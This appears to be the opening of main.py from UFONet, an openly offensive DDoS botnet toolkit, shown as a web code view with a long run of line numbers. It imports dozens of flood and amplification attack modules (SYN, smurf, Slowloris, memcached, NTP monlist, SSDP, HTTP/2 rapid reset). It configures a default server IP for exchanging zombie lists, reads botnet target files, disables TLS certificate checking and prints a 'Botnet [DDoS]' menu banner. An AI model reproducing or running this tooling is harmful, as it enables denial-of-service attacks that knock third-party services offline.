main.py 333 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537553855395540554155425543554455455546554755485549555055515552555355545555555655575558555955605561556255635564556555665567556855695570557155725573557455755576557755785579558055815582558355845585558655875588558955905591559255935594559555965597559855995600560156025603560456055606560756085609561056115612561356145615561656175618561956205621562256235624562556265627562856295630563156325633563456355636563756385639564056415642564356445645564656475648564956505651565256535654565556565657565856595660566156625663566456655666566756685669567056715672567356745675567656775678567956805681568256835684568556865687568856895690569156925693569456955696569756985699570057015702570357045705570657075708570957105711571257135714571557165717571857195720572157225723572457255726572757285729573057315732573357345735573657375738573957405741574257435744574557465747574857495750575157525753575457555756575757585759576057615762576357645765576657675768576957705771577257735774577557765777577857795780578157825783578457855786578757885789579057915792579357945795579657975798579958005801580258035804580558065807580858095810581158125813581458155816581758185819582058215822582358245825582658275828582958305831583258335834583558365837583858395840584158425843584458455846584758485849585058515852585358545855585658575858585958605861586258635864586558665867586858695870587158725873587458755876587758785879588058815882588358845885588658875888588958905891589258935894589558965897589858995900590159025903590459055906590759085909591059115912591359145915591659175918591959205921592259235924592559265927592859295930593159325933593459355936593759385939594059415942594359445945594659475948594959505951595259535954595559565957595859595960596159625963596459655966596759685969597059715972597359745975597659775978597959805981598259835984598559865987598859895990599159925993599459955996599759985999600060016002600360046005600660076008600960106011601260136014601560166017601860196020602160226023602460256026602760286029603060316032603360346035603660376038603960406041604260436044604560466047604860496050605160526053605460556056605760586059606060616062606360646065606660676068606960706071607260736074607560766077607860796080608160826083608460856086608760886089609060916092609360946095609660976098609961006101610261036104610561066107610861096110611161126113611461156116611761186119612061216122612361246125612661276128612961306131613261336134613561366137613861396140614161426143614461456146614761486149615061516152615361546155615661576158615961606161616261636164616561666167616861696170617161726173617461756176617761786179618061816182618361846185618661876188618961906191619261936194619561966197619861996200620162026203620462056206620762086209621062116212621362146215621662176218621962206221622262236224622562266227622862296230623162326233623462356236623762386239624062416242624362446245624662476248624962506251625262536254625562566257625862596260626162626263626462656266626762686269627062716272627362746275627662776278627962806281628262836284628562866287628862896290629162926293629462956296629762986299630063016302630363046305630663076308630963106311631263136314631563166317631863196320632163226323632463256326632763286329633063316332633363346335633663376338633963406341634263436344634563466347634863496350635163526353635463556356635763586359636063616362636363646365636663676368636963706371637263736374637563766377637863796380638163826383638463856386638763886389639063916392639363946395639663976398639964006401640264036404640564066407640864096410641164126413641464156416641764186419642064216422642364246425642664276428642964306431643264336434643564366437643864396440644164426443644464456446644764486449645064516452645364546455645664576458645964606461646264636464646564666467646864696470647164726473647464756476647764786479648064816482648364846485648664876488648964906491649264936494649564966497649864996500650165026503650465056506650765086509651065116512651365146515651665176518651965206521652265236524652565266527652865296530653165326533653465356536653765386539654065416542654365446545654665476548654965506551655265536554655565566557655865596560656165626563656465656566656765686569657065716572657365746575657665776578657965806581658265836584658565866587658865896590659165926593659465956596659765986599660066016602660366046605660666076608660966106611661266136614661566166617661866196620662166226623662466256626662766286629663066316632663366346635663666376638663966406641664266436644664566466647664866496650665166526653665466556656665766586659666066616662666366646665666666676668666966706671667266736674667566766677667866796680668166826683668466856686668766886689669066916692669366946695669666976698669967006701670267036704670567066707670867096710671167126713671467156716671767186719672067216722672367246725672667276728672967306731673267336734673567366737673867396740674167426743674467456746674767486749675067516752675367546755675667576758675967606761676267636764676567666767676867696770677167726773677467756776
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, json, gzip
  12. import urllib.request, urllib.error, urllib.parse
  13. from hashlib import sha1, sha256
  14. from urllib.parse import urlparse
  15. try:
  16. from Cryptodome.Cipher import AES
  17. except ImportError:
  18. from core._ensure import ensure
  19. _m = ensure('Cryptodome.Cipher', 'pycryptodomex')
  20. if _m is None:
  21. print("\n[Error] Something wrong with -crypto- libs... Aborting!\n")
  22. sys.exit()
  23. from Cryptodome.Cipher import AES
  24. from uuid import getnode
  25. from random import randrange, shuffle
  26. from .options import UFONetOptions
  27. from .update import Updater
  28. from .herd import Herd
  29. from .zombie import Zombie
  30. from .doll import Doll
  31. from core.tools.inspector import Inspector
  32. from core.tools.abductor import Abductor
  33. from core.tools.ufoscan import UFOSCAN
  34. from core.mods.loic import LOIC
  35. from core.mods.loris import LORIS
  36. from core.mods.ufosyn import UFOSYN
  37. from core.mods.spray import SPRAY
  38. from core.mods.smurf import SMURF
  39. from core.mods.xmas import XMAS
  40. from core.mods.nuke import NUKE
  41. from core.mods.tachyon import TACHYON
  42. from core.mods.monlist import MONLIST
  43. from core.mods.sniper import SNIPER
  44. from core.mods.memcached import MEMCACHED
  45. from core.mods.chargen import CHARGEN
  46. from core.mods.cldap import CLDAP
  47. from core.mods.ssdp import SSDP
  48. from core.mods.qotd import QOTD
  49. from core.mods.tftp import TFTP
  50. from core.mods.wsdisco import WSDISCO
  51. from core.mods.coap import COAP
  52. from core.mods.mssql import MSSQL
  53. from core.mods.rapidreset import RAPIDRESET
  54. from core.mods.middlebox import MIDDLEBOX
  55. from core.mods.slowread import SLOWREAD
  56. from core.mods.goldeneye import GOLDENEYE
  57. from core.mods.finflood import FINFLOOD
  58. from core.mods.arms import ARMS
  59. from core.mods.plex import PLEX
  60. from core.mods.netbios import NETBIOS
  61. from core.mods.ripv1 import RIPV1
  62. from core.mods.ufoack import UFOACK
  63. from core.mods.uforst import UFORST
  64. from core.mods.droper import DROPER
  65. from core.mods.overlap import OVERLAP
  66. from core.mods.pinger import PINGER
  67. from core.mods.ufoudp import UFOUDP
  68. from core.mods.fraggle import FRAGGLE
  69. DEBUG = False # use 'True' for detailed traceback
  70. class UFONet(object):
  71. def __init__(self):
  72. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  73. self.blackhole = '46.163.118.220' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  74. self.crypto_key = "U-NATi0n!" # default cryptkey
  75. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  76. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  77. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  78. self.external_check_service1 = 'https://www.isitdownrightnow.com/check.php?domain='
  79. self.check_tor_url = 'https://check.torproject.org/'
  80. self.check_ip_service1 = 'https://api.ipify.org'
  81. self.check_ip_service2 = 'https://icanhazip.com'
  82. self.check_ip_service3 = 'https://ifconfig.me/ip'
  83. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  84. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  85. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  86. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  87. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  88. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  89. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  90. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  91. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  92. self.snmps_file = 'botnet/snmp.txt' # set source path to retrieve [SNMPs]
  93. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  94. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  95. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  96. self.timeline_file = 'docs/VERSION' # set source for code releases
  97. self.links_file = "data/links.txt" # set source path to retrieve [Blackhole] [Links]
  98. self.streams_file = "data/streams.txt" # set source path to retrieve [Blackhole] [Streams]
  99. self.globalnet_file = "data/globalnet.txt" # set source path to retrieve [Blackhole] [Globalnet]
  100. self.nodes_file = "data/nodes.txt" # set source path to retrieve [Blackhole] [Community] [Nodes]
  101. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  102. self.tv_file = "data/tv.txt" # set source path to retrieve [Blackhole] [TV]
  103. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  104. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  105. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  106. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  107. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  108. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  109. self.referer = '' # black magic
  110. self.port = "8080" # default injection port
  111. self.mothershipname = "core/txt/shipname.txt"
  112. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  113. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  114. self.warping_path = '/var/www/ufonet' # set source for warping path
  115. self.warping_folder_permissions = 0o644 # set permission for warping folder
  116. f = open(self.mothership_model_file) # extract mothership model
  117. self.mothership_model = f.readlines()
  118. for model in self.mothership_model:
  119. model = model.rstrip('\n')
  120. self.mothership_model = model
  121. f.close()
  122. self.mothership_baptism() # generating static name/id for your mothership ;-)
  123. self.head = False
  124. self.payload = False
  125. self.external = False
  126. self.attack_mode = False
  127. self.connection_failed = False
  128. self.total_possible_zombies = 0
  129. self.herd = Herd(self)
  130. self.sem = False
  131. self.db_flash = 0 # db stress counter
  132. self.total_aliens = 0
  133. self.aliens_hit = 0
  134. self.aliens_fail = 0
  135. self.total_droids = 0
  136. self.droids_hit = 0
  137. self.droids_fail = 0
  138. self.total_ucavs = 0
  139. self.ucavs_hit = 0
  140. self.ucavs_fail = 0
  141. self.total_rpcs = 0
  142. self.rpcs_hit = 0
  143. self.rpcs_fail = 0
  144. self.total_loic = 0
  145. self.total_loris = 0
  146. self.total_syn = 0
  147. self.total_spray = 0
  148. self.total_smurf = 0
  149. self.total_fraggle = 0
  150. self.total_xmas = 0
  151. self.total_ufoack = 0
  152. self.total_uforst = 0
  153. self.total_droper = 0
  154. self.total_overlap = 0
  155. self.total_pinger = 0
  156. self.total_ufoudp = 0
  157. self.total_nuke = 0
  158. self.total_tachyon = 0
  159. self.total_monlist = 0
  160. self.total_sniper = 0
  161. self.total_zombies_failed_connection = 0
  162. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  163. self.ctx.check_hostname = False
  164. self.ctx.verify_mode = ssl.CERT_NONE
  165. self.nat_error_flag = "OFF"
  166. self.trans_zombies = 0
  167. self.scanned_zombies = 0
  168. self.loadcheck_counter = 0
  169. self.loadcheck_prev_size = None
  170. self.loadcheck_prev_load = None
  171. self.loadcheck_first_size = None
  172. self.loadcheck_first_load = None
  173. self.loadcheck_size_list = []
  174. self.loadcheck_load_list = []
  175. self.loadcheck_size_median = None
  176. self.loadcheck_size_max = None
  177. self.loadcheck_size_min = None
  178. self.loadcheck_load_median = None
  179. self.loadcheck_size_max = None
  180. self.loadcheck_size_min = None
  181. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  182. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  183. self.expire_timing = 30 # default expiring time per round
  184. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  185. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  186. self.globalnet_msg_sep = "#$#" # globalnet stream separator
  187. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  188. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  189. self.trans_5C = self.trans_5C.encode("latin-1")
  190. self.trans_36 = self.trans_36.encode("latin-1")
  191. def mothership_baptism(self):
  192. if os.path.exists(self.mothershipname) == True:
  193. f = open(self.mothershipname)
  194. self.mothership_id = f.read()
  195. f.close()
  196. self._shipname_new = False
  197. else:
  198. self.mothership_ids = []
  199. try:
  200. f = open(self.motherships_file)
  201. motherships = f.readlines()
  202. f.close()
  203. for ship in motherships:
  204. ship = ship.encode("utf-8")
  205. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  206. try:
  207. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  208. except:
  209. try:
  210. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  211. except:
  212. self.mothership_id = self.default_mothership_name
  213. except:
  214. self.mothership_id = self.default_mothership_name
  215. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  216. self.mothership_id = self.default_mothership_name
  217. m = open(self.mothershipname, "w") # write mothership name to a static file
  218. m.write(str(self.mothership_id.upper()))
  219. m.close()
  220. self._shipname_new = True
  221. def create_options(self, args=None):
  222. self.optionParser = UFONetOptions()
  223. self.options = self.optionParser.get_options(args)
  224. if not self.options:
  225. return False
  226. return self.options
  227. def banner_welcome(self):
  228. L, R = 36, 36
  229. def cell(left, right):
  230. return "||" + (left or "").ljust(L) + "#" + (right or "").ljust(R) + "||"
  231. sep = "#|" + ("=" * (L + 1 + R)) + "|#"
  232. rows = [
  233. (" > Botnet [DDoS]", " > Close Combat [DoS]"),
  234. ("", ""),
  235. (" |-> ZOMBIES |-> DROIDS", " |-> LOIC |-> LORIS"),
  236. (" |-> ALIENS |-> UCAVs", " |-> UFOSYN |-> XMAS"),
  237. (" |-> X-RPCs |-> DBSTRESS", " |-> NUKE |-> UFOACK"),
  238. (" |-> SPRAY |-> SMURF", " |-> UFORST |-> DROPER"),
  239. (" |-> TACHYON |-> MONLIST", " |-> OVERLAP |-> PINGER"),
  240. (" |-> FRAGGLE |-> SNIPER", " |-> UFOUDP |-> SLOWREAD"),
  241. (" |-> MEMCACHED |-> CHARGEN", " |-> GOLDENEYE |-> RAPIDRESET"),
  242. (" |-> CLDAP |-> SSDP", " |-> FINFLOOD"),
  243. (" |-> QOTD |-> TFTP", ""),
  244. (" |-> WSDISCO |-> COAP", ""),
  245. (" |-> MSSQL |-> ARMS", ""),
  246. (" |-> PLEX |-> NETBIOS", ""),
  247. (" |-> RIPV1 |-> MIDDLEBOX", ""),
  248. ("", ""),
  249. ]
  250. alien = [
  251. r" ____ ",
  252. r" || / /\ \ || ",
  253. r" -(00)- + (XX) + -(00)- ",
  254. r" || || O ==*~~~~~~*== 0 || || ",
  255. r" -(00)- O|O (0) XX (0) -(00)- ",
  256. r" || _____ |____\| (00) |/______|D___ || ",
  257. r" O+!$(O)! (O) 0'----'0 (O) !(O)$!+O ",
  258. r" |OO OO| .''.( xx ).''. |OO OO| ",
  259. r" **+***.'.' +X|'..'|X+ '.'***+**. ",
  260. r" .-. .' /'--.__|_00_|__.--'\ '. .-. ",
  261. r" +(O).)-|0| \ x| ## |x / |0|-(.(O)+ ",
  262. r" `-' '-'-._'-./ -00- \.-'_.-'-' `-' ",
  263. r" _ | || '-.___||___.-' || | _ ",
  264. r" .' _ | ||==O | __ | O==|| | _ '. ",
  265. r" / .' ''.| || | /_00_\ | || |.'' '. \ ",
  266. r" _ | '### | =| | ###### | |= |' ### | _ ",
  267. r"(0)-| |(0)| '. 0\||__**_ ||/0 .' |(0)| |-(0) ",
  268. r" ★ \ '._.' '. | \_##_/ | .' '._.' / ★ ",
  269. r" '.__ ____0_'.|__'--'__|.'_0____ __.' ",
  270. r" .'_.-| YY |-._'. ",
  271. ]
  272. print(alien[0])
  273. print(alien[1] + sep)
  274. print(alien[2] + cell("", ""))
